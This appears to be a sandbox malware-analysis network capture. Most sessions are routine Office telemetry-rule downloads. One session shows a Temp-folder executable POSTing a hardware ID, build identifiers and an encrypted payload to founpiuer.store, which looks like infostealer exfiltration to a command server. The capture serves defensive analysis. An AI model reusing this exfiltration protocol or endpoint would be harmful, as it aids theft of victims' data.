2024-11-07 05:01:17 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.4	49837	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:17 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:17 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:17 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: bfef7332-a01e-0070-2458-2e573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050117Z-17df447cdb5bz95mhC1DFWnk7w00000003p000000000eqv0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:17 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.4	49838	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:17 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:17 UTC	538	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:17 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: 3018d77d-101e-008d-49d2-2c92e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050117Z-16547b76f7f4k79zhC1DFWu9y000000007sg000000005bxq x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:17 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.4	49839	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:17 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:17 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:17 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 75393bc5-a01e-00ab-63e1-2f9106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050117Z-17df447cdb5bz95mhC1DFWnk7w00000003tg000000001cs8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:17 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.4	49833	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:18 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:18 UTC	538	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:18 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 70b2909d-801e-00ac-33c1-2cfd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050118Z-16547b76f7fj5p7mhC1DFWf8w400000007u000000000682q x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:18 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.4	49840	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:18 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:18 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:18 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: bcab188a-c01e-0014-325f-2ea6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050118Z-17df447cdb5fh5hghC1DFWam0400000000z000000000cqr5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:18 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.4	49841	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:18 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:18 UTC	517	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:18 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: 98909b4d-d01e-002b-39d2-2c25fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050118Z-16547b76f7fj897nhC1DFWdwq400000007g000000000cab3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:18 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.4	49842	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:18 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:18 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:18 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: 36c217ee-101e-008e-63b5-2fcf88000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050118Z-15869dbbcc6tfpj2hC1DFW384c000000015000000000fe5n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-07 05:01:18 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.4	49844	104.21.5.155	443	3288	C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:18 UTC	370	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=j3aUDY3aeWLdcGsJ9f5a_a2khnnbc8XpmOBYbeoSjy4-1730955676-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18168 Host: founpiuer.store
2024-11-07 05:01:18 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 44 37 31 32 34 33 30 39 45 43 33 41 45 42 37 42 39 34 31 38 39 36 36 35 36 31 46 41 32 39 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"ED7124309EC3AEB7B9418966561FA291--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-07 05:01:18 UTC	2837	OUT	Data Raw: bb b9 8c 98 dd 7e cd 12 32 f5 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 Data Ascii: ~2MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3
2024-11-07 05:01:19 UTC	1010	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=r4r7f5qm7cq0bin8rrkh0s65j9; expires=Sun, 02-Mar-2025 22:47:58 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=umNxkQzk3dt6DcMlDYJdergwATLkhEL2Jo4CW2t8oG5455NwTzHCLQgwbKd5K2f1beDK7dJ%2FK2pT1U6luVGrjdy%2BtAdZfohgsAI5U15y5gOZj3wyjLgB1Y6CyibdHQkXV18%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8deac3c13a387d5d-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=960&sent=11&recv=22&lost=0&retrans=0&sent_bytes=2837&recv_bytes=19218&delivery_rate=2850393&cwnd=252&unsent_bytes=0&cid=38e6c73df3430de8&ts=876&x=0"
2024-11-07 05:01:19 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 39 0d 0a Data Ascii: 11ok 173.254.250.79
2024-11-07 05:01:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.4	49843	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:18 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:19 UTC	538	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:18 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: 86fb53ab-501e-0078-4ed2-2c06cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050118Z-16547b76f7fq9mcrhC1DFWq15w00000007m000000000dfxs x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:19 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.4	49845	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:18 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:19 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:19 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 52750d0d-001e-00ad-1b5c-2e554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050119Z-17df447cdb57g7m7hC1DFW791s00000003tg00000000e6yy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:19 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> 